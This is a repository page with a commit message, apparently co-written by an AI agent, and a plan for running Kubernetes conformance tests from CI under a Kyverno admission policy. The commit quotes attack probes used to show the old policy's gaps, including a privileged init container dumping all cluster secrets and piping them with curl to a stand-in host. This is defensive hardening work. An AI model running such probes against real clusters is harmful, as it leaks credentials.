0 Fork 0

Files

T

jakman85andClaude Opus 5 f6e8fb1fee fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open

Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

2026-09-29 23:02:16 -05:00

18 KiB

Raw Blame History

L2/L3 conformance CI wiring — implementation plan

Status: PLAN — deferred, awaiting operator decision on the trigger-credential model. No cluster changes made. Author: WS-GITOSS agent, 2026-08-31 (Hand-off 2). Scope: wire the L2 (behavioural) + L3 (fault-injection) conformance layers into the LIVE Gitea Actions merge gate, running them as an in-cluster Chainsaw Job so CI holds no broad kubeconfig (docs/14 "Where each layer runs", ADR-0011, R-SEC-02).

This companions the landed Hand-off 1 (commit 27bc024: make -C ci gate parity + the comment-only R-ID scan fix). The conformance job in .gitea/workflows/gate.yml is still an honest if: false placeholder — this plan is what turns it on safely.

1. Why this is a written plan, not a landed change

The intended seam is real and mostly scaffolded, but finishing it autonomously would mean handing a shared, live cluster a new privileged identity reachable from CI, plus building several missing functional pieces. The hand-off's rule is explicit: if wiring real cluster access from CI is too risky/ambiguous to finish autonomously, STOP and write a concrete plan — do NOT hand CI a broad kubeconfig. The blocker is a genuine privilege-escalation design question (§4), not just plumbing, and the cluster is being changed concurrently by sibling agents. So the credential model must be decided by the operator before anything is applied.

2. Current state (what exists today)

Piece	File	State
Live gate workflow	`.gitea/workflows/gate.yml`	LIVE. `gate` job runs `make -C ci gate`. `conformance` job is `if: false` placeholder.
Dormant full blueprint	`.gitea/workflows/merge-gate.yaml`	Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`).
CI conformance stage	`ci/conformance.sh`	SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` locally in the CI job and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is not implemented.
Conformance runner	`conformance/run.sh` + `conformance/lib/`, `conformance/tests/`	Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`).
In-cluster Job template	`conformance/incluster/chainsaw-job.yaml`	DONE 2026-09-29 (§3 items 2+3). `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6).
Scoped runner RBAC	`conformance/incluster/rbac.yaml`	ns `conformance` + SA `conformance-runner` + a privileged ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, nodes get/list/patch for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. Not reconciled by Flux (no kustomization references `conformance/incluster/`).
Runner deployment	`apps/wave-1/gitea-actions.yaml`	act_runner + DinD (Docker executor). `automountServiceAccountToken: false` — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can reach the kube-API VIP `192.168.1.49:6443`, but has no credential.
Secrets encryption	`.sops.yaml` (repo root)	age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform

Cluster reality: the "Phase 0 / no cluster" language in these files is stale — the cluster is LIVE (and it is now PROD; dev was decommissioned 2026-09-12).

CORRECTION (2026-09-29): CLUSTER_AVAILABLE is NOT "the only remaining gate", and setting it today is actively DANGEROUS. Measured: with CLUSTER_AVAILABLE=true and no reachable cluster, conformance/run.sh exits 0 in scaffold mode having marked all 54 tests <skipped>, and ci/conformance.sh then printed [ ok ] L2/L3 conformance passed for touched subset — rc 0, a fake green, on a merge gate that is now an enforcing required status check. The CI runner has no cluster credential at all (automountServiceAccountToken: false, by design), so the "local run" this stage attempts can never succeed; it can only skip and, before the guard added on 2026-09-29, lie about it.

ci/conformance.sh now BLOCKS (exit 1) when a cluster is declared but every test skipped. Do not set CLUSTER_AVAILABLE=true until §3's trigger path actually exists — the variable does not enable L2/L3, it only changes which way this stage fails.

3. Gaps to close (functional)

Runner image. (Added requirement, 2026-09-29: the image MUST also install conformance/incluster/conformance-clone at /usr/local/bin/conformance-clone, mode 0755, and provide a uid 65532 non-root user. The admission policy pins that exact entrypoint path and the Job pins that uid — see §4.) ghcr.io/kyverno/chainsaw is a minimal image; run.sh needs bash + python3 + chainsaw + kubectl, and the repo-clone init needs git. The Job cannot run ./run.sh on the stock chainsaw image. → Build a pinned conformance-runner image (chainsaw v0.2.12 + kubectl v1.36.4 + git + python3 + bash), push to the Gitea container registry, pin its digest in conformance/versions.env (CONFORMANCE_RUNNER_IMAGE). Keep CHAINSAW_VERSION as the single source of truth the image is built from.
Repo at the commit-under-test. ✅ LANDED 2026-09-29 (conformance/incluster/chainsaw-job.yaml). Init container clone-suite-at-commit runs /usr/local/bin/conformance-clone with no args — logic in conformance/incluster/conformance-clone, baked into the image by item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then assert HEAD == the requested SHA. SHA arrives as a @@CONFORMANCE_GIT_SHA@@ substitution into a Job env var and is refused unless it matches ^[0-9a-f]{40}$. The clone URL is hardcoded in the entrypoint, not passed in env: the policy does not constrain env, so a caller-chosen URL would let CI pick which repository's code runs as conformance-runner. Credential = secret conformance-git-readonly (read-only Gitea token) by name only, as env via secretKeyRef — not a volume, because admission allows only workspace and results. Still to do: build the runner image (item 1, and it must install the entrypoint at that exact path) and provision that Secret (item 6). Original text: → Add an init-container (git clone --depth 1 of the impl repo, then git checkout <SHA>) writing into the shared workspace volume, using a read-only Gitea deploy token. SHA + the touched --requirements are injected by the CI trigger step as Job env/args.
Results collection without giving CI exec/cp. ✅ LANDED 2026-09-29 (conformance/run.sh, conf_emit_artifacts_tgz). CONF_EMIT_ARTIFACTS_TGZ=1 arms an EXIT trap — so a FAILED run still ships its red JUnit — that prints the artifact tree as a base64 tar between === ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===. The size, base64 line count and digest appear in both markers, so a truncated kubectl logs fails collection instead of decoding to plausible garbage; the five checks the collector owes are spelled out above that function. It lives in run.sh and not in the Job because admission pins command to exactly ["./run.sh"]. Verified locally: full decode round-trips, and head-truncation, tail-truncation, a dropped interior line and a single corrupted character are each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes _artifacts/ to the results volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited base64 tar of _artifacts/ to stdout (=== ARTIFACTS-TGZ-BASE64 ===…); CI decodes it from kubectl logs. No pods/exec, no kubectl cp, no results PVC exposure required. (A results PVC + a read-only sidecar is the durable alternative if log size becomes a problem.)
ci/conformance.sh rewrite. Replace the local run.sh call with: render the Job manifest (inject image digest, SHA, --requirements <touched>), kubectl --kubeconfig=$CONFORMANCE_TRIGGER_KUBECONFIG -n conformance create -f -, kubectl wait --for=condition=complete/failed, stream logs, decode artifacts into results/junit + reports/coverage, map Job success→0 / failure→1 / no-cred→3 (skip). Keep the touched-subset selection it already computes.
Flux wiring. Reconcile conformance/incluster/ (ns + conformance-runner SA/RBAC + the new trigger SA/Role + the admission policy of §4) via a non-gating Kustomization (wait:false, dependsOn: platform-config), mirroring apps-vms — a conformance identity must never gate the app tier.
Gitea provisioning (operator, out-of-GitOps). Set repo/org vars.CLUSTER_AVAILABLE=true and secrets.CONFORMANCE_TRIGGER_KUBECONFIG via the Gitea API (PUT /repos/{owner}/{repo}/actions/{variables,secrets}/{name}). The kubeconfig embeds the trigger SA's token only. SOPS-seal the SA token in-repo (secrets/conformance-trigger.sops.yaml) for reproducibility/rotation; the Gitea secret is derived from it.

4. The security crux — trigger credential must NOT grant `conformance-runner`'s power

Problem. Kubernetes places no use check on a Pod/Job's serviceAccountName at creation. So any principal that can create jobs in namespace conformance can create a Job with serviceAccountName: conformance-runner and an arbitrary command — i.e. run arbitrary code with the privileged runner SA (nodes/patch, pods/exec, jobs, namespaces/patch). A CI-held token with plain create jobs therefore is the privileged identity. That breaks R-SEC-02 ("CI holds no broad cluster access") even though the token's RBAC "looks" narrow.

Recommended model — narrow trigger SA + an admission constraint (uses the existing Kyverno L0 stack):

SA conformance-trigger (ns conformance), Role: create on jobs; get,list,watch on jobs; get on pods and pods/log. Nothing else. Bound only in the conformance ns.
CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not containers. As first shipped, the policy read only spec.template.spec.containers and volumes. initContainers was unread, so a Job with a fully compliant containers[0] and a privileged: true alpine:latest initContainer running kubectl get secrets -A was ADMITTED (pass: 3, fail: 0, measured with kyverno v1.19.0). Rule 1's =(privileged): "false" only ever applied to containers[0]. ephemeralContainers was the same. Both are now covered by trigger-initcontainers-must-be-the-committed-clone-step and trigger-may-not-declare-ephemeral-containers, with the probes kept as negative fixtures. The lesson generalises: an "admit only the committed shape" policy has to enumerate every field that can carry executable intent, and a pattern over an array only asserts at least one element matches — use deny conditions and cap the count. Also note the residual: no rule constrains env, which is why the clone URL is hardcoded in the image entrypoint.
A Kyverno ClusterPolicy (validate, enforce, fail-closed) that, for Jobs created by system:serviceaccount:conformance:conformance-trigger, ADMITS only Jobs that match the committed shape: image == the pinned CONFORMANCE_RUNNER_IMAGE digest, serviceAccountName == conformance-runner, command == ["./run.sh"], args matching ^--(layer|requirements|strict-coverage), securityContext non-root/no-privilege/no host namespaces, and no extra volumes beyond workspace/results. Any other Job from that SA is DENIED. This is the real security boundary: it bounds CI to "run exactly the committed conformance suite, nothing else." (Equivalent: a k8s ValidatingAdmissionPolicy bound to that SA.)
The chainsaw-conf-* per-test namespaces the runner creates are already flagged in rbac.yaml as needing exclusion from any cluster-wide disallow-privileged/host-namespaces policy for R-NET-06 — carry that exception through, documented and audited.

Alternative model — GitOps-native, zero CI cluster credential (more work, strongest): CI does not reach the cluster at all. A ConformanceRun marker (a CR or a commit to a watched path) is reconciled by an in-cluster controller/Flux that creates the Job from the in-repo template; the Job publishes results back as a Gitea commit-status / a fetchable artifact that CI polls. Removes the trigger credential entirely, at the cost of a controller and a trigger/ordering mechanism that must complete before the merge decision. Recommended only if even the constrained trigger SA of the primary model is deemed unacceptable.

Do NOT: give CI a cluster-admin/broad kubeconfig; give the trigger SA unconstrained create jobs; mount an SA token into the act_runner pod; or reuse conformance-runner as the trigger identity.

5. Concrete step sequence

Land these as separate reviewable PRs, gate-green at each step. Steps 1–5 are in-repo/GitOps and safe to land incrementally without turning L2/L3 on; only step 7 (the operator setting the Gitea var) actually enables it.

Runner image. conformance/incluster/Containerfile (chainsaw+kubectl+git+python3+bash); build+push to the Gitea registry; pin CONFORMANCE_RUNNER_IMAGE=<registry>/conformance-runner@sha256:… in conformance/versions.env. Add a note tying it to CHAINSAW_VERSION.
Job manifest. Rewrite chainsaw-job.yaml: swap to CONFORMANCE_RUNNER_IMAGE; add the git-clone init-container (SHA + repo URL + read token env); parametrise args (CI injects --layer l2,l3 --requirements <touched>); keep restartPolicy: Never, backoffLimit: 0, non-root/seccomp/readonly-rootfs; add sane CPU/mem requests+limits (heavy L3 etcd load — see run.sh HEAVY set + config/chainsaw-config.yaml).
Trigger SA/RBAC + admission policy. Add conformance-trigger SA + Role/RoleBinding to rbac.yaml; add the Kyverno ClusterPolicy (new file under platform/kyverno/ or conformance/incluster/) constraining that SA's Jobs (§4). Add an L0 Kyverno test fixture for the policy (admit the good Job, deny a tampered one) so make -C ci l0 covers it.
Flux Kustomization. New clusters/<cluster>/conformance.yaml (or an apps-conformance entry) — wait:false, dependsOn: platform-config, prune:true, pointing at conformance/incluster/. No postBuild.substituteFrom unless needed. Verify it reconciles Ready with the SA/RBAC/policy present and NO Job running (Jobs are created only on trigger).
ci/conformance.sh rewrite. Implement the trigger→wait→collect→map flow of §3.4 behind CONFORMANCE_TRIGGER_KUBECONFIG; keep exit 3 when the cred is absent (honest skip). Update ci/README.md. make -C ci gate still SKIPS L2/L3 locally (no cred) — unchanged for humans.
Workflow. Replace the if: false placeholder in gate.yml's conformance job with the blueprint shape: if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}, needs: [gate], install the conformance toolchain, env: CONFORMANCE_TRIGGER_KUBECONFIG: ${{ secrets.CONFORMANCE_TRIGGER_KUBECONFIG }}, run: make -C ci conformance. Decide: either keep the single-gate model (aggregate gate.sh already SKIPS conformance and reports UNVERIFIED) and add conformance as a second required check, or adopt the blueprint's separate merge-gate decision job (scripts/decide.sh). Keep the job honest: skipped when the var is off, never faked green (HARD RULE 4). Add the conformance check to branch protection only after step 7 proves it green.
Enable (operator). Provision the SOPS-sealed trigger SA token; set the Gitea secrets.CONFORMANCE_TRIGGER_KUBECONFIG and vars.CLUSTER_AVAILABLE=true. First run on a throwaway PR; confirm the Job is created, runs the touched subset, results are collected, and the gate blocks on a real L2/L3 failure and passes on green. Then make it required.

6. Validation & rollback

Dry-run the admission policy before granting the trigger SA: kubectl auth can-i matrix for conformance-trigger; attempt a tampered Job (different command) as that SA and confirm Kyverno DENIES it; attempt the committed Job and confirm ADMIT.
Fail-closed check: temporarily break an L3 test, confirm the Job fails and the gate BLOCKS (mirrors Hand-off 1's proof that gate.sh exit 1 fails the job).
Rollback: unset vars.CLUSTER_AVAILABLE (instant SKIP, gate reverts to L0/L1-only) and/or suspend the Flux Kustomization; delete the trigger SA token from Gitea secrets. No app-tier impact (conformance is a non-gating tier).

7. Open decisions for the operator

Trigger model: constrained trigger SA + Kyverno admission policy (§4 primary) vs. GitOps-native zero-credential (§4 alternative). This plan recommends the primary.
Runner image host: Gitea container registry (in-network, matches the Flux source loop) vs. ghcr.io. Recommend Gitea registry, digest-pinned.
Gate topology: conformance as a second required check on the single-job gate.yml vs. restoring the blueprint's multi-job merge-gate.yaml with the decide.sh decision job.
Results transport: base64-tar-over-logs (simple, no extra rights) vs. a results PVC + read-only sidecar (durable). Recommend logs first; revisit if artifacts grow.
Which requirements go live first: the R-NET/R-TLS/R-DNS/R-STATE tests already green against the live cluster (per DECISIONS-LOG) are the natural first --requirements subset to certify through the wired path before widening.

18 KiB Raw Blame History Unescape Escape